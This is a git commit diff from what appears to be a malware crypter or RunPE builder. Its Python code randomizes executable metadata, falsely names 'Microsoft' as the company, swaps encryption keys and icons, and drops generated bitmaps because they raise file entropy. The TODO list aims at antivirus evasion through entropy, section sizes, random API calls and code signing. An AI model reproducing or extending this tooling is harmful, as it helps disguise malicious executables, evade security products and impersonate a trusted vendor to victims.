revert: random resources, increases the entropy too much

This commit is contained in:
2023-09-05 14:49:15 +02:00
parent 790d030a6c
commit 9e06e9ea89
5 changed files with 43 additions and 15 deletions

View File

@@ -68,12 +68,12 @@ BEGIN
BLOCK "040c04b0"
BEGIN
VALUE "CompanyName", "Microsoft"
VALUE "FileDescription", "ukulyvqunljimnyxqudx"
VALUE "FileDescription", "sblujwzduxlhnhmiyiri"
VALUE "FileVersion", "1.0.0.1"
VALUE "InternalName", "pcqqadv.exe"
VALUE "InternalName", "tkedqel.exe"
VALUE "LegalCopyright", "Copyright (C) 2023"
VALUE "OriginalFilename", "ayhotiz.exe"
VALUE "ProductName", "eskjmbf.exe"
VALUE "OriginalFilename", "lgeagvp.exe"
VALUE "ProductName", "aejcvay.exe"
VALUE "ProductVersion", "1.0.0.1"
END
END
@@ -84,10 +84,6 @@ BEGIN
END
MAINICON ICON "C:/Users/patate/Desktop/Programmation/C++/Low-Level/RunPE/icon.ico"
zoixzyunsm BITMAP "img_0.bmp"
kzciawmlhq BITMAP "img_1.bmp"
nzixriywxl BITMAP "img_2.bmp"
iumfepnhqj BITMAP "img_3.bmp"
#endif
/////////////////////////////////////////////////////////////////////////////

View File

@@ -1,2 +1,2 @@
#pragma once
#define KEY "ouqdhoqubnco"
#define KEY "ugifthdrdgrd"

4
gui.py
View File

@@ -10,7 +10,6 @@
"""
TODO :
- LoadPE (KEKW)
- Good entropy
- Good Section sizes
- Random Windows API calls (help)
@@ -22,7 +21,8 @@ Done :
- Change PE metadata (company, description, etc...)
- File icon
- Code signing
- Add resources (random number of random generated bitmaps)
- Good entropy
- Add resources (random number of random generated bitmaps) --> Not used because it increases the entropy too much
"""
from PyQt5 import QtCore, QtGui, QtWidgets

26
gui.ui
View File

@@ -165,6 +165,32 @@
<string>Pass :</string>
</property>
</widget>
<widget class="QPushButton" name="pushButton_3">
<property name="geometry">
<rect>
<x>20</x>
<y>170</y>
<width>75</width>
<height>23</height>
</rect>
</property>
<property name="text">
<string>Icon</string>
</property>
</widget>
<widget class="QLabel" name="label_4">
<property name="geometry">
<rect>
<x>120</x>
<y>160</y>
<width>51</width>
<height>41</height>
</rect>
</property>
<property name="text">
<string>TextLabel</string>
</property>
</widget>
</widget>
<widget class="QStatusBar" name="statusbar">
<property name="enabled">

View File

@@ -25,7 +25,7 @@ def generate_bmp(filename):
img.save(filename, 'BMP')
def change_metadata(icon_file) :
number_of_bmp = GetRandomRange(2, 6)
number_of_bmp = 0#GetRandomRange(2, 6) makes the entropy go to 7.4 for ONE image, so very very very bad
f = open("DllExecutor.rc", "r")
f_c = f.readlines()
f.close()
@@ -47,13 +47,19 @@ def change_metadata(icon_file) :
elif "ProductName" in line :
line = f'\t\t\tVALUE "ProductName", "{GetRandomString(7)}.exe"\n'
elif "MAINICON" in line and icon_file != "":
elif "MAINICON" in line :
if icon_file != "" :
line = f'MAINICON ICON "{icon_file}"\n'
else :
line = f'//MAINICON ICON "{icon_file}"\n'
for i in range(number_of_bmp) :
bmp_name = f"img_{i}.bmp"
generate_bmp(bmp_name)
line += f'{GetRandomString(10)} BITMAP "{bmp_name}"\n'
elif "BITMAP" in line : line = ""
o.write(line)
o.close()